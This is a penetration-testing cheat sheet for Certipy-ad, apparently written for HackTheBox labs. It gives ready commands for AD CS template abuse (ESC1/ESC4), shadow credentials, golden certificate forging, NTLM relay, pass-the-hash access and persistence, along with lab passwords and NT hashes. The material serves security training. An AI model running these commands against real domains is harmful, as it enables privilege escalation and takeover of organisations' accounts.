AD^:Active Directory

Certipy-ad

pip install certipy-ad --break-system-packages

intermediateupdated 2026-08-10Certipy · BloodHound · Evil-WinRM · OpenSSL

🔐 Certipy-AD Cheat Sheet

A comprehensive guide for Active Directory Certificate Services enumeration and exploitation using Certipy-ad

Note — certipy-ad and certipy are the same tool. certipy-ad is only the PyPI package name (the certipy name was already taken); the syntax, flags and subcommands are identical. The binary on your $PATH may be certipy or certipy-ad depending on the install (Kali apt → certipy-ad; pip install certipy-ad → usually certipy). Drop the -ad in any command below if that is what your box exposes; run which certipy certipy-ad to check.


📋 Table of Contents


🎯 Overview

Certipy-ad is an offensive security tool designed to enumerate and exploit Active Directory Certificate Services (AD CS) misconfigurations. It supports detection and exploitation of ESC1-ESC16 vulnerabilities, making it essential for penetration testing AD environments.

🔑 Key Capabilities

  • 🔍 Enumeration: Identify vulnerable certificate templates and CAs
  • 🎫 Certificate Requests: Request certificates with custom attributes
  • 🔓 Authentication: Use certificates for Kerberos authentication and NT hash retrieval
  • 🛠️ Template Manipulation: Modify certificate templates to create exploitation paths
  • 👤 Shadow Credentials: Add Key Credential Links for account takeover
  • 🏆 Golden Certificates: Forge certificates using compromised CA keys

📦 Installation

# Install via pip
pip install certipy-ad --break-system-packages

# Install via apt (Kali Linux)
sudo apt install certipy-ad

# Verify installation
certipy-ad -h

💡 Common Usage Patterns

🔍 Enumeration Workflow

# Basic enumeration
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51

# Enumerate vulnerable templates only
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -vulnerable -enabled

# Output to specific format
certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -json -output results

# Using NTLM hash authentication
certipy-ad find -u 'user@domain.local' -hashes ':NTHASH' -dc-ip 10.10.11.51

🎫 Certificate Request Workflow

# Request certificate with UPN
certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -template 'TemplateName' -upn 'administrator@domain.local' -dc-ip 10.10.11.51

# Request using hash authentication
certipy-ad req -u 'user@domain.local' -hashes ':NTHASH' -ca 'CA-Name' -template 'TemplateName' -upn 'target@domain.local' -dc-ip 10.10.11.51

# Retrieve previously requested certificate
certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -retrieve 123 -dc-ip 10.10.11.51

🔓 Authentication Workflow

# Authenticate using certificate
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51

# With PFX password
certipy-ad auth -pfx administrator.pfx -password 'pfxpassword' -dc-ip 10.10.11.51

# Save in kirbi format
certipy-ad auth -pfx administrator.pfx -kirbi -dc-ip 10.10.11.51

# LDAP shell access
certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip 10.10.11.51

📖 Command Reference

🔧 Global Flags

FlagDescriptionExample
-u, -usernameUsername for authentication-u user@domain.local
-p, -passwordPassword for authentication-p 'Password123'
-hashesNTLM hash (pass-the-hash)-hashes ':NTHASH' or -hashes 'LMHASH:NTHASH'
-kUse Kerberos authentication from ccache-k
-aesAES key for Kerberos auth-aes <hex_key>
-dc-ipDomain controller IP address-dc-ip 10.10.11.51
-dc-host🆕 DC hostname — REQUIRED in Certipy v5+-dc-host dc01.domain.local
-targetTarget machine DNS/IP-target ca.domain.local
-ns🆕 Nameserver for DNS resolution (pin to DC IP to avoid rerouting)-ns 10.10.11.51
-timeoutConnection timeout in seconds-timeout 30
-debugEnable debug output-debug

🆕 ⚠️ Certipy v5 Note — Always pass -dc-host: In Certipy v5+, omitting -dc-host causes the tool to use the domain name as the DC host and attempt a secondary DNS resolution. If that resolves to an internal AD IP that isn’t routable from your VPN (Target IP: None in debug output), you’ll get [Errno 113] No route to host even when your -dc-ip is correct and /etc/hosts is properly configured. Always pair -dc-ip with -dc-host.


1️⃣ find - Enumerate AD CS

Purpose: Discover certificate templates, CAs, and misconfigurations

certipy-ad find [options]

📊 Key Flags

FlagDescription
-vulnerableShow only vulnerable templates
-enabledShow only enabled templates
-textOutput as formatted text file
-jsonOutput as JSON
-csvOutput as CSV
-stdoutOutput directly to console
-output <prefix>File prefix for output
-oidsShow Issuance Policies
-hide-adminsSuppress admin permissions
-dc-onlyOnly collect from DC (skip CA queries)

💻 Example Commands

# Find vulnerable templates
certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -vulnerable -enabled -stdout

# Full enumeration with all outputs
certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -json -text -output dc01_enum

2️⃣ req - Request Certificates

Purpose: Request and retrieve certificates from AD CS

certipy-ad req [options]

📊 Key Flags

FlagDescription
-ca <name>Certificate Authority name
-template <name>Certificate template name
-upn <upn>User Principal Name for SAN
-dns <dns>DNS name for SAN
-sid <sid>Object SID for SAN
-subject <dn>Certificate subject DN
-retrieve <id>Retrieve certificate by request ID
-on-behalf-of <user>Request on behalf of another user
-pfx <file>PFX for on-behalf-of or renewal
-renewCreate renewal request
-out <file>Output PFX filename
-webUse Web Enrollment
-dcomUse DCOM Enrollment

💻 Example Commands

# Request certificate with custom UPN (ESC1)
certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -ca sequel-DC01-CA -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # 🆕 dc-host required in v5

# Retrieve certificate by request ID
certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -retrieve 42 \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Request on behalf of another user (ESC2/ESC3)
certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -template User \
  -on-behalf-of 'domain\administrator' -pfx user.pfx \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

3️⃣ auth - Authenticate with Certificate

Purpose: Use certificates for authentication and NT hash retrieval

certipy-ad auth -pfx <cert.pfx> [options]

📊 Key Flags

FlagDescription
-pfx <file>Path to certificate (PFX/P12)
-password <pass>PFX file password
-no-saveDon’t save TGT to file
-no-hashDon’t request NT hash
-printPrint TGT in kirbi format
-kirbiSave as .kirbi instead of ccache
-username <user>Override certificate username
-domain <domain>Override certificate domain
-ldap-shellStart LDAP shell after auth

💻 Example Commands

# Authenticate and retrieve NT hash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51

# With password-protected PFX
certipy-ad auth -pfx admin.pfx -password 'pfxpass' -dc-ip 10.10.11.51

# Start LDAP shell
certipy-ad auth -pfx admin.pfx -ldap-shell -dc-ip 10.10.11.51

4️⃣ template - Manage Templates

Purpose: View and modify certificate template configurations

certipy-ad template -template <name> [options]

📊 Key Flags

FlagDescription
-template <name>Certificate template name
-save-configuration <file>Save current config to JSON
-write-configuration <file>Apply config from JSON file
-write-default-configurationApply default ESC1 config
-no-saveSkip backup before changes
-forceDon’t prompt for confirmation

💻 Example Commands

# Save template configuration
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template \
  -save-configuration backup.json \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # 🆕

# Apply ESC1 configuration (make vulnerable)
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template DunderMifflinAuthentication \
  -write-default-configuration \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # 🆕

# Restore from backup
certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template \
  -write-configuration backup.json -no-save \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # 🆕

5️⃣ shadow - Shadow Credentials

Purpose: Manipulate Key Credential Links for account takeover

certipy-ad shadow <action> [options]

📊 Actions & Flags

ActionDescription
autoAutomatically exploit (add, auth, restore)
listList all Key Credentials
addAdd new Key Credential
removeRemove specific Key Credential
clearRemove all Key Credentials
infoDisplay detailed information
FlagDescription
-account <target>Target account
-device-id <guid>Specific device ID
-out <file>Output certificate file

💻 Example Commands

# 🆕 Automatic shadow credential attack — FULL recommended syntax for v5
certipy-ad shadow auto \
  -u user@domain.local \
  -p 'password' \
  -account 'target_user' \
  -dc-ip 10.10.11.51 \
  -dc-host dc01.domain.local \   # ← REQUIRED in v5, prevents EHOSTUNREACH (113)
  -ns 10.10.11.51                # ← Pin DNS to DC to avoid internal IP rerouting

# List Key Credentials
certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Add Key Credential
certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

🆕 HTB Fluffy Lesson: shadow auto without -dc-host on Certipy v5 will print Target IP: None in debug mode and fail with [Errno 113] No route to host even with a correct -dc-ip and valid /etc/hosts. The fix is always to pass -dc-host dc01.<domain> explicitly.


6️⃣ account - Manage Accounts

Purpose: Create, read, update, delete AD accounts

certipy-ad account <action> -user <name> [options]

📊 Actions & Flags

ActionDescription
createCreate new account
readRead account properties
updateModify existing account
deleteDelete account
FlagDescription
-user <name>SAM account name
-pass <password>Set password
-dns <hostname>Set DNS hostname
-upn <upn>Set UPN
-spns <spn1,spn2>Set SPNs

💻 Example Commands

# Create machine account
certipy-ad account create -u user@domain.local -p 'password' -user BADPC$ -pass 'MachinePass123' \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Update account password
certipy-ad account update -u admin@domain.local -p 'password' -user targetuser -pass 'NewPass123' \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

7️⃣ ca - Manage Certificate Authority

Purpose: Manage CA settings and certificate requests

certipy-ad ca -ca <name> [options]

📊 Key Flags

FlagDescription
-ca <name>CA name
-list-templatesList enabled templates
-enable-template <name>Enable template on CA
-disable-template <name>Disable template on CA
-issue-request <id>Approve pending request
-deny-request <id>Deny pending request
-add-officer <user>Add certificate officer

💻 Example Commands

# List enabled templates
certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -list-templates \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Approve pending request
certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -issue-request 42 \
  -dc-ip 10.10.11.51 -dc-host dc01.domain.local

8️⃣ forge - Forge Certificates

Purpose: Create golden certificates or self-signed certs

certipy-ad forge [options]

📊 Key Flags

FlagDescription
-ca-pfx <file>CA certificate/key (for golden cert)
-ca-password <pass>CA PFX password
-upn <upn>UPN for certificate
-subject <dn>Certificate subject
-template <file>Clone from template cert
-out <file>Output PFX file
-validity-period <days>Validity in days

💻 Example Commands

# Forge golden certificate
certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local \
  -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_golden.pfx

9️⃣ relay - NTLM Relay

Purpose: Relay NTLM authentication to AD CS endpoints

certipy-ad relay -target <proto://host> [options]

📊 Key Flags

FlagDescription
-target <proto://host>Target (http:// or rpc://)
-ca <name>CA name (for RPC)
-template <name>Certificate template
-interface <ip>Listen interface
-port <port>Listen port (default: 445)
-foreverKeep relay server alive
-enum-templatesEnumerate templates via relay

🎯 ESC4 Exploitation Workflow

ESC4 occurs when an attacker has write permissions over a certificate template, allowing them to modify it to become vulnerable (typically ESC1).

📋 Prerequisites

  • ✅ Compromised account with write access to a certificate template
  • ✅ Membership in groups with template modification rights (e.g., Cert Publishers)
  • ✅ Access to Active Directory Certificate Services

🔄 Step-by-Step Exploitation

Step 1: Enumerate and Identify ESC4

certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -vulnerable -stdout   # 🆕 dc-host added

# Look for output like:
# [!] Vulnerabilities
#     ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions

Step 2: Modify Template (Certipy 5.x)

certipy-ad template -u ca_svc@sequel.htb \
  -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -template DunderMifflinAuthentication \
  -write-default-configuration \
  -dc-ip 10.10.11.51 \
  -dc-host dc01.sequel.htb   # 🆕

Step 3: Request Certificate with UPN

certipy-ad req -u ca_svc@sequel.htb \
  -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -ca sequel-DC01-CA \
  -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb \
  -dc-ip 10.10.11.51 \
  -dc-host dc01.sequel.htb   # 🆕

# Output: administrator.pfx

Step 4: Authenticate and Extract Hash

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
# Output: aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

Step 5: Use Hash for Access

# WinRM access
evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff

# SMB access
smbclient -U administrator%aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff //10.10.11.51/C$

# psexec
psexec.py -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff administrator@10.10.11.51

Step 6: Restore Template (Clean Up)

certipy-ad template -u ca_svc@sequel.htb \
  -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -template DunderMifflinAuthentication \
  -write-configuration DunderMifflinAuthentication.json \
  -no-save \
  -dc-ip 10.10.11.51 \
  -dc-host dc01.sequel.htb   # 🆕

🔧 Alternative Method (Certipy 4.x - Legacy)

# Step 1: Modify template (auto-saves backup)
certipy-ad template -u ca_svc -hashes :HASH \
  -dc-ip 10.10.11.51 \
  -template DunderMifflinAuthentication \
  -target dc01.sequel.htb \
  -save-old

# Step 2: Request certificate
certipy-ad req -ca sequel-DC01-CA \
  -u ca_svc -hashes :HASH \
  -dc-ip 10.10.11.51 \
  -template DunderMifflinAuthentication \
  -target dc01.sequel.htb \
  -upn administrator@sequel.htb

# Step 3: Authenticate
certipy-ad auth -pfx administrator.pfx

# Step 4: Restore (backup auto-created)
# Check for DunderMifflinAuthentication.json in current directory

🏆 HTB EscapeTwo Context

🎯 Scenario Overview

In HTB EscapeTwo, the exploitation path involves:

  1. Initial Access: Credentials for rose → find SQL admin password → shell as sql_svc
  2. Lateral Movement: Find ryan credentials → WinRM access
  3. Privilege Escalation: ryan has WriteOwner on ca_svc account
  4. Account Takeover: Use BloodyAD to take ownership and grant permissions
  5. Shadow Credentials: Add shadow credential to ca_svc
  6. ESC4 Exploitation: ca_svc is in Cert Publishers group → modify template → escalate to Administrator

🔑 Key Commands from HTB EscapeTwo

# Ownership change (using BloodyAD)
bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan

# Shadow credential attack — 🆕 full v5 syntax
certipy-ad shadow auto \
  -u ryan@sequel.htb \
  -p 'WqSZAF6CysDQbGb3' \
  -account 'ca_svc' \
  -dc-ip 10.10.11.51 \
  -dc-host dc01.sequel.htb \
  -ns 10.10.11.51

# ESC4 enumeration
certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -stdout

# Template modification
certipy-ad template -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -template DunderMifflinAuthentication -write-default-configuration \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb

# Certificate request
certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
  -ca sequel-DC01-CA -template DunderMifflinAuthentication \
  -upn administrator@sequel.htb \
  -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb

# Authentication
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51

🔓 Post-Exploitation

🎫 Using Certificates

# Pass-the-Certificate with evil-winrm
evil-winrm -i DC01 -c admin.crt -k admin.key

# Use ccache for Kerberos auth
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass administrator@dc01.sequel.htb

# Convert PFX to PEM for other tools
openssl pkcs12 -in admin.pfx -nocerts -out admin.key
openssl pkcs12 -in admin.pfx -clcerts -nokeys -out admin.crt

🔄 Persistence

# Renew certificate before expiration
certipy-ad req -u admin@domain.local -p 'password' -ca CA-Name -template Template \
  -renew -pfx admin.pfx -dc-ip 10.10.11.51 -dc-host dc01.domain.local

# Forge golden certificate (requires CA key)
certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -out golden.pfx

💡 Tips & Best Practices

⚠️ Operational Security

  • 🔒 Always backup templates before modification
  • 🧹 Clean up after testing (restore configurations)
  • 📝 Document request IDs for later retrieval
  • ⏰ Note certificate validity periods for persistence planning

🎯 Enumeration Tips

  • 🔍 Start with -vulnerable -enabled for quick wins
  • 📊 Use -json output for parsing with tools like jq
  • 🎭 Check group memberships (Cert Publishers is key for ESC4)
  • 🌐 Enumerate with BloodHound for WriteOwner/GenericAll on service accounts

🚀 Common Attack Chains

WriteOwner/GenericAll → Shadow Credentials → Hash → Certificate Request
WriteDACL → Template Modification (ESC4) → Certificate → Domain Admin
ManageCA + ManageCertificates → ESC7 → Certificate → Compromise

🔧 Troubleshooting

ErrorCauseSolution
[Errno 113] No route to host🆕 Certipy v5 resolves DC to internal AD IP (Target IP: None) instead of using -dc-ipAdd -dc-host dc01.domain.local -ns <dc-ip> to every command
CERTSRV_E_TEMPLATE_DENIEDUser not authorized for templateCheck enrollment rights
Object SID mismatchStrong Certificate Mapping enabledUse -sid flag
INSUFF_ACCESS_RIGHTSNeed GenericAll/WriteOwnerCheck permissions
Connection timeoutFirewall or stale machine IP (HTB reset)Re-verify $TARGET, check VPN with ping
entryAlreadyExists (BloodyAD)🆕 Object already in group — not an errorStep already complete, move on

📚 References


Created for HTB: EscapeTwo | Last Updated: April 2026 | Certipy Version: 5.0.4+ 🆕

Sources

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.